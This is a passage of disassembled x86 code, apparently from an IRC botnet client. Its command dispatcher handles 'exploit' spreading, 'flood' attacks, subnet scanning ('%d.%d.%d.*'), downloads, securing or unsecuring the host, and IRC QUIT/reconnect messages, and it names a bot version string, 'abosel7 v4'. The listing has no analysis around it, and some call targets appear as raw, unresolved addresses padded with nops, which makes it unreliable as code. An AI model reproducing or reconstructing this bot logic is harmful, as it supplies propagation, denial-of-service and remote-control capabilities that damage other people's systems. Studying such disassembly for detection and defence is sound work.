		pop	ecx


loc_403F9D:				; CODE XREF: sub_401ACD+5781j
		cmp	[ebp+var_8], ebx
		jnz	short loc_403FBE
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_403FB6:				; CODE XREF: sub_401ACD+6DA8j
		call	sub_409869
		add	esp, 14h


loc_403FBE:				; CODE XREF: sub_401ACD+24D3j
					; sub_401ACD+26B0j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		jmp	loc_4097D1
; ---------------------------------------------------------------------------


loc_403FCF:				; CODE XREF: sub_401ACD+1876j
					; sub_401ACD+188Bj
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40A5C5
		jmp	loc_404260
; ---------------------------------------------------------------------------


loc_403FE8:				; CODE XREF: sub_401ACD+184Cj
					; sub_401ACD+1861j
		push	[ebp+esi+var_8C]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_416FCF
		jmp	loc_404260
; ---------------------------------------------------------------------------


loc_404005:				; CODE XREF: sub_401ACD+1822j
					; sub_401ACD+1837j
		or	edi, 0FFFFFFFFh
		call	near ptr 2690ACEh
		nop
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_40402E
		push	esi
		call	sub_41C159
		pop	ecx
		mov	edi, eax


loc_40402E:				; CODE XREF: sub_401ACD+2556j
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_404047
		cmp	edi, 0FFFFFFFFh
		jnz	loc_409644


loc_404047:				; CODE XREF: sub_401ACD+256Fj
		push	ebx
		call	sub_41ADD8
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BF4C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38


loc_404085:				; CODE XREF: sub_401ACD+51BCj
		add	esp, 24h
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_40408D:				; CODE XREF: sub_401ACD+17F8j
					; sub_401ACD+180Dj
		push	27h
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_4040BE
		cmp	[ebp+var_8], ebx
		jnz	loc_401F75
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42BF2C


loc_4040AB:				; CODE XREF: sub_401ACD+4F88j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		jmp	loc_408C05
; ---------------------------------------------------------------------------


loc_4040BE:				; CODE XREF: sub_401ACD+25CAj
		push	[ebp+var_88]
		lea	eax, [ebp+var_BC4]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_BC8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_B3C], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_B38], eax
		mov	[ebp+var_B40], ebx
		jz	short loc_40411F
		push	esi
		push	offset aFull	; "full"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40411F
		mov	[ebp+var_B40], 1


loc_40411F:				; CODE XREF: sub_401ACD+2635j
					; sub_401ACD+2646j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BF08
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	27h
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	[ebp+var_B44], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_BC8]
		push	ebx
		push	eax
		push	offset sub_419E38
		push	ebx
		push	ebx
		nop
		call	near ptr 2680437h
		mov	ecx, [ebp+var_B44]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40418D


loc_404177:				; CODE XREF: sub_401ACD+26BEj
		cmp	[ebp+var_B34], ebx
		jnz	loc_403FBE
		push	32h
		call	near ptr 26803B2h
		nop
		jmp	short loc_404177
; ---------------------------------------------------------------------------


loc_40418D:				; CODE XREF: sub_401ACD+26A8j
		nop
		call	near ptr 2680C22h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BECC
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_403FBE
; ---------------------------------------------------------------------------


loc_4041AD:				; CODE XREF: sub_401ACD+17CEj
					; sub_401ACD+17E3j
		cmp	[ebp+var_8], ebx
		jnz	short loc_4041CC
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42BEB4
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_4041CC:				; CODE XREF: sub_401ACD+26E3j
		push	[ebp+arg_4]
		call	dword_4CBA6C
		call	dword_4CB92C
		call	sub_4188A6
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_4041E7:				; CODE XREF: sub_401ACD+17A4j
					; sub_401ACD+17B9j
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_41AF8F
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		push	offset unk_42BE9C
		jmp	short loc_40423F
; ---------------------------------------------------------------------------


loc_404212:				; CODE XREF: sub_401ACD+177Aj
					; sub_401ACD+178Fj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41B243
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		push	offset unk_42BE84


loc_40423F:				; CODE XREF: sub_401ACD+2489j
					; sub_401ACD+2743j
		call	sub_415D38
		add	esp, 18h
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_40424C:				; CODE XREF: sub_401ACD+1750j
					; sub_401ACD+1765j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415DD8


loc_404260:				; CODE XREF: sub_401ACD+3C8j
					; sub_401ACD+2516j ...
		add	esp, 10h
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_404268:				; CODE XREF: sub_401ACD+1726j
					; sub_401ACD+173Bj
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_1598],	bl
		jz	short loc_4042A7
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4042A7
		push	esi
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4042A7
		push	eax
		push	offset aS_1	; "%s"
		lea	eax, [ebp+var_1598]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 10h


loc_4042A7:				; CODE XREF: sub_401ACD+27A4j
					; sub_401ACD+27AFj ...
		push	[ebp+var_88]
		lea	eax, [ebp+var_1618]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_161C],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1514],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1510],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BE6C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	25h
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	[ebp+var_1518],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_161C]
		push	ebx
		push	eax
		push	offset byte_415E4B
		push	ebx
		push	ebx
		nop
		call	near ptr 2680437h
		mov	ecx, [ebp+var_1518]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40434A


loc_404334:				; CODE XREF: sub_401ACD+287Bj
		cmp	[ebp+var_150C],	ebx
		jnz	loc_401F75
		push	32h
		nop
		call	near ptr 26803B2h
		jmp	short loc_404334
; ---------------------------------------------------------------------------


loc_40434A:				; CODE XREF: sub_401ACD+2865j
		nop
		call	near ptr 2680C22h
		push	eax
		push	offset unk_42BE34
		jmp	loc_4097CB
; ---------------------------------------------------------------------------


loc_40435B:				; CODE XREF: sub_401ACD+16FCj
					; sub_401ACD+1711j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415CC0
		push	offset unk_42BE1C
		call	sub_415D38


loc_404376:				; CODE XREF: sub_401ACD+23F9j
		add	esp, 10h
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_40437E:				; CODE XREF: sub_401ACD+16D2j
					; sub_401ACD+16E7j
		push	[ebp+var_88]
		lea	eax, [ebp+var_C5C]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_C60], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_BD4], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_BD0], eax
		jz	short loc_4043D8
		push	offset dword_42BE18
		push	esi
		call	sub_41CA50
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_BD8], eax
		jmp	short loc_4043DE
; ---------------------------------------------------------------------------


loc_4043D8:				; CODE XREF: sub_401ACD+28EFj
		mov	[ebp+var_BD8], ebx


loc_4043DE:				; CODE XREF: sub_401ACD+2909j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BDF8
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	28h
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	[ebp+var_BDC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C60]
		push	ebx
		push	eax
		push	offset byte_40B425
		push	ebx
		push	ebx
		call	near ptr 2680437h
		nop
		mov	ecx, [ebp+var_BDC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40444C


loc_404436:				; CODE XREF: sub_401ACD+297Dj
		cmp	[ebp+var_BCC], ebx
		jnz	loc_406C1F
		push	32h
		call	near ptr 26803B2h
		nop
		jmp	short loc_404436
; ---------------------------------------------------------------------------


loc_40444C:				; CODE XREF: sub_401ACD+2967j
		nop
		call	near ptr 2680C22h
		push	eax
		push	offset unk_42BDBC
		jmp	loc_409091
; ---------------------------------------------------------------------------


loc_40445D:				; CODE XREF: sub_401ACD+1656j
					; sub_401ACD+166Bj
		push	offset aSbrsfgf	; "sbrsfgf"
		push	offset unk_42BDA4


loc_404467:				; CODE XREF: sub_401ACD+29D9j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 20h
		jmp	loc_406C1F
; ---------------------------------------------------------------------------


loc_404494:				; CODE XREF: sub_401ACD+162Cj
					; sub_401ACD+1641j
		push	dword_4CB714
		call	sub_41ADD8
		pop	ecx
		push	eax
		push	offset unk_42BD78
		jmp	short loc_404467
; ---------------------------------------------------------------------------


loc_4044A8:				; CODE XREF: sub_401ACD+1602j
					; sub_401ACD+1617j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4044DA
		cmp	[ebp+var_C], ebx
		jz	short loc_4044E9
		push	esi
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4044E9
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		jmp	short loc_4044E9
; ---------------------------------------------------------------------------


loc_4044DA:				; CODE XREF: sub_401ACD+29E4j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		pop	ecx
		pop	ecx


loc_4044E9:				; CODE XREF: sub_401ACD+29E9j
					; sub_401ACD+29F8j ...
		push	0FFFFFFFEh
		jmp	loc_401F77
; ---------------------------------------------------------------------------


loc_4044F0:				; CODE XREF: sub_401ACD+15D8j
					; sub_401ACD+15EDj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		push	offset unk_42BD28
		call	sub_415D38
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_404512:				; CODE XREF: sub_401ACD+15AEj
					; sub_401ACD+15C3j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		push	offset unk_42BCF8
		call	sub_415D38
		add	esp, 0Ch
		jmp	loc_4095AD
; ---------------------------------------------------------------------------


loc_404531:				; CODE XREF: sub_401ACD+1584j
					; sub_401ACD+1599j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BA9E
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_404547:				; CODE XREF: sub_401ACD+155Aj
					; sub_401ACD+156Fj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BA49
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_40455D:				; CODE XREF: sub_401ACD+1530j
					; sub_401ACD+1545j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B9DD
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_404573:				; CODE XREF: sub_401ACD+1506j
					; sub_401ACD+151Bj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B90E
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_404589:				; CODE XREF: sub_401ACD+1461j
					; sub_401ACD+1476j
		push	[ebp+esi+var_8C]
		push	27h
		push	offset dword_42BCE8
		push	offset dword_42BCD8
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_4045A1:				; CODE XREF: sub_401ACD+1437j
					; sub_401ACD+144Cj
		push	[ebp+esi+var_8C]
		push	24h
		push	offset dword_42BCCC
		push	offset dword_42BCBC
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_4045B9:				; CODE XREF: sub_401ACD+1050j
					; sub_401ACD+1065j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_4045D8
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jz	short loc_4045D8
		push	edi
		call	sub_41C159
		pop	ecx
		jmp	short loc_4045DD
; ---------------------------------------------------------------------------


loc_4045D8:				; CODE XREF: sub_401ACD+2AF5j
					; sub_401ACD+2B00j
		mov	eax, dword_429074


loc_4045DD:				; CODE XREF: sub_401ACD+2B09j
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_590], eax
		cmp	esi, ebx
		jz	short loc_404602
		push	esi


loc_4045EF:				; CODE XREF: sub_401ACD+2B44j
		lea	eax, [ebp+var_5A0]
		push	10h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		jmp	short loc_404619
; ---------------------------------------------------------------------------


loc_404602:				; CODE XREF: sub_401ACD+2B1Fj
		cmp	[ebp+var_8FF], bl
		jz	short loc_404613
		lea	eax, [ebp+var_C4]
		push	eax
		jmp	short loc_4045EF
; ---------------------------------------------------------------------------


loc_404613:				; CODE XREF: sub_401ACD+2B3Bj
		mov	[ebp+var_5A0], bl


loc_404619:				; CODE XREF: sub_401ACD+2B33j
		mov	eax, [ebp+var_4]
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_584], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_620]
		push	eax
		mov	[ebp+var_624], esi
		call	sub_41C360
		add	esp, 0Ch
		push	[ebp+var_590]
		push	esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BC94
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	19h
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_58C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_624]
		push	ebx
		push	eax
		push	offset word_411BCE
		push	ebx
		push	ebx
		nop
		call	near ptr 2680437h
		mov	ecx, [ebp+var_58C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_4046CA


loc_4046B4:				; CODE XREF: sub_401ACD+2BFBj
		cmp	[ebp+var_57C], ebx
		jnz	loc_401F75
		push	32h
		call	near ptr 26803B2h
		nop
		jmp	short loc_4046B4
; ---------------------------------------------------------------------------


loc_4046CA:				; CODE XREF: sub_401ACD+2BE5j
		nop
		call	near ptr 2680C22h
		push	eax
		push	offset dword_42BC58
		jmp	loc_4097CB
; ---------------------------------------------------------------------------


loc_4046DB:				; CODE XREF: sub_401ACD+FFDj
					; sub_401ACD+1012j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4046FB
		push	esi
		call	sub_41C159
		test	ax, ax
		pop	ecx
		jz	short loc_4046FB
		push	esi
		call	sub_41C159
		pop	ecx
		jmp	short loc_404701
; ---------------------------------------------------------------------------


loc_4046FB:				; CODE XREF: sub_401ACD+2C17j
					; sub_401ACD+2C23j
		mov	ax, word_429084


loc_404701:				; CODE XREF: sub_401ACD+2C2Cj
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		mov	[ebp+var_97C], ax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_96C], eax
		lea	eax, [ebp+var_9FC]
		push	eax
		mov	[ebp+var_A00], esi
		mov	[ebp+var_970], edi
		call	sub_41C360
		movzx	eax, [ebp+var_97C]
		add	esp, 0Ch
		push	eax
		push	esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BC2C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	edi
		push	eax
		push	[ebp+var_88]
		push	esi
		call	sub_409869
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	6
		push	eax
		call	sub_40B3BA
		add	esp, 30h
		mov	[ebp+var_978], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A00]
		push	ebx
		push	eax
		push	offset dword_40EF1C
		push	ebx
		push	ebx
		nop
		call	near ptr 2680437h
		mov	ecx, [ebp+var_978]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_4047D0


loc_4047BA:				; CODE XREF: sub_401ACD+2D01j
		cmp	[ebp+var_968], ebx
		jnz	loc_401F75
		push	32h
		call	near ptr 26803B2h
		nop
		jmp	short loc_4047BA
; ---------------------------------------------------------------------------


loc_4047D0:				; CODE XREF: sub_401ACD+2CEBj
		call	near ptr 2680C22h
		nop
		push	eax
		push	offset unk_42BBEC
		jmp	loc_4097CB
; ---------------------------------------------------------------------------


loc_4047E1:				; CODE XREF: sub_401ACD+FA9j
					; sub_401ACD+FBEj ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_404809
		push	edi
		push	offset aSec	; "sec"
		call	sub_41CA50
		pop	ecx
		mov	[ebp+var_AA8], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_404813


loc_404809:				; CODE XREF: sub_401ACD+2D23j
		mov	[ebp+var_AA8], 1


loc_404813:				; CODE XREF: sub_401ACD+2D3Aj
		push	[ebp+var_88]
		lea	eax, [ebp+var_B2C]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_AA8], ebx
		mov	[ebp+var_B30], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_AA4], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_AA0], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_40485A
		mov	eax, offset aUnsecuring	; "Unsecuring"


loc_40485A:				; CODE XREF: sub_401ACD+2D86j
		push	eax
		push	offset dword_42BBB8
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	22h
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_AAC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_B30]
		push	ebx
		push	eax
		push	offset sub_41A366
		push	ebx
		push	ebx
		call	near ptr 2680437h
		nop
		mov	ecx, [ebp+var_AAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_4048CE


loc_4048B8:				; CODE XREF: sub_401ACD+2DFFj
		cmp	[ebp+var_A9C], ebx
		jnz	loc_4082DE
		push	32h
		call	near ptr 26803B2h
		nop
		jmp	short loc_4048B8
; ---------------------------------------------------------------------------


loc_4048CE:				; CODE XREF: sub_401ACD+2DE9j
		call	near ptr 2680C22h
		nop
		push	eax
		push	offset dword_42BB7C
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_4048DF:				; CODE XREF: sub_401ACD+F7Fj
					; sub_401ACD+F94j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41ABFB


loc_4048F0:				; CODE XREF: sub_401ACD+2A75j
					; sub_401ACD+2A8Bj ...
		add	esp, 0Ch
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_4048F8:				; CODE XREF: sub_401ACD+F55j
					; sub_401ACD+F6Aj
		push	offset unk_42BB2C
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_404902:				; CODE XREF: sub_401ACD+F2Bj
					; sub_401ACD+F40j
		push	offset aAbosel7V4 ; "abosel7 v4"
		push	offset dword_42BB1C
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_404911:				; CODE XREF: sub_401ACD+F01j
					; sub_401ACD+F16j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_404971
		push	esi
		call	sub_41C159
		cmp	eax, ebx
		pop	ecx
		jl	short loc_404966
		cmp	eax, 3
		jge	short loc_404966
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_40495B
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CD50
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_4081AD
; ---------------------------------------------------------------------------


loc_40495B:				; CODE XREF: sub_401ACD+2E6Dj
		push	eax
		push	offset unk_42BAF0
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_404966:				; CODE XREF: sub_401ACD+2E58j
					; sub_401ACD+2E5Dj
		push	eax
		push	offset unk_42BAC4
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_404971:				; CODE XREF: sub_401ACD+2E4Dj
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_404976:				; CODE XREF: sub_401ACD+2EC5j
		push	[ebp+var_90]
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_404999
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_404976
		jmp	loc_4081AD
; ---------------------------------------------------------------------------


loc_404999:				; CODE XREF: sub_401ACD+2EB9j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42CD50
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_4049B3:				; CODE XREF: sub_401ACD+ED7j
					; sub_401ACD+EECj
		push	[ebp+var_8C]
		push	offset dword_42CCC8
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403446
		call	sub_40B583
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_4049D9:				; CODE XREF: sub_401ACD+19B1j
		push	offset aGet	; "get"
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404A67
		cmp	dword_4CF180, ebx
		jz	short loc_404A01
		push	offset dword_4CEB60


loc_4049F7:				; CODE XREF: sub_401ACD+2F98j
		push	offset unk_42BA88
		jmp	loc_404A97
; ---------------------------------------------------------------------------


loc_404A01:				; CODE XREF: sub_401ACD+2F23j
		push	10h
		pop	eax
		mov	[ebp+var_2CC], eax
		push	eax
		lea	eax, [ebp+var_2E8]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_2CC]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	eax
		push	[ebp+arg_4]
		call	near ptr 71AB157Eh
		nop
		movzx	eax, [ebp+var_2E2]
		push	eax
		movzx	eax, [ebp+var_2E3]
		push	eax
		movzx	eax, [ebp+var_2E4]
		push	eax
		lea	eax, [ebp+var_E24]
		push	offset aD_D_D_	; "%d.%d.%d.*"
		push	eax
		call	sub_41C266
		add	esp, 14h
		lea	eax, [ebp+var_E24]
		push	eax
		jmp	short loc_4049F7
; ---------------------------------------------------------------------------


loc_404A67:				; CODE XREF: sub_401ACD+2F1Bj
		push	edi
		call	dword_4CBA14
		cmp	eax, 0FFFFFFFFh
		push	edi
		jnz	short loc_404A7B
		push	offset unk_42BA48
		jmp	short loc_404A97
; ---------------------------------------------------------------------------


loc_404A7B:				; CODE XREF: sub_401ACD+2FA5j
		push	offset dword_4CEB60
		call	sub_41C890
		pop	ecx
		mov	dword_4CF180, 1
		pop	ecx
		push	edi
		push	offset unk_42BA1C


loc_404A97:				; CODE XREF: sub_401ACD+2F2Fj
					; sub_401ACD+2FACj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_40349D
; ---------------------------------------------------------------------------


loc_404AAB:				; CODE XREF: sub_401ACD+199Cj
		push	[ebp+arg_8]
		push	offset aExploit	; "exploit"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404BB1
		mov	eax, [ebp+var_4]
		mov	esi, 80h
		mov	[ebp+var_13E8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_13E4],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13F8],	eax
		push	offset aF	; "#f"
		lea	eax, [ebp+var_1478]
		push	esi
		push	eax
		mov	[ebp+var_13F0],	1
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_14F8]
		push	offset aF	; "#f"
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_1508]
		push	edi
		push	10h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_1508]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B9E4
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	8
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	[ebp+var_13EC],	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		lea	eax, [ebp+var_1508]
		push	ebx
		push	eax
		push	offset byte_40BB65
		push	ebx
		push	ebx
		nop
		call	near ptr 2680437h
		mov	ecx, [ebp+var_13EC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_404BA0


loc_404B8A:				; CODE XREF: sub_401ACD+30D1j
		cmp	[ebp+var_13E0],	ebx
		jnz	loc_4081AD
		push	32h
		nop
		call	near ptr 26803B2h
		jmp	short loc_404B8A
; ---------------------------------------------------------------------------


loc_404BA0:				; CODE XREF: sub_401ACD+30BBj
		nop
		call	near ptr 2680C22h
		push	eax
		push	offset unk_42B9A4
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_404BB1:				; CODE XREF: sub_401ACD+2FEFj
		push	[ebp+arg_8]
		push	offset aReconnect_in ; "reconnect.in"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095B4
		push	[ebp+arg_8]
		push	offset aRin	; "rin"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095B4
		push	[ebp+arg_8]
		push	offset aReconnect_in_m ; "reconnect.in.ms"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409570
		push	[ebp+arg_8]
		push	offset aRinms	; "rinms"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409570
		push	[ebp+arg_8]
		push	offset aFlood	; "flood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4057B7
		nop
		call	near ptr 2690ACEh
		push	eax
		call	sub_41C2B8
		push	edi
		push	offset aLoad	; "load"
		call	sub_41CA50
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404CB7
		cmp	[ebp+esi+var_80], ebx
		jz	short loc_404CB7
		push	[ebp+esi+var_80]
		call	sub_41C159
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
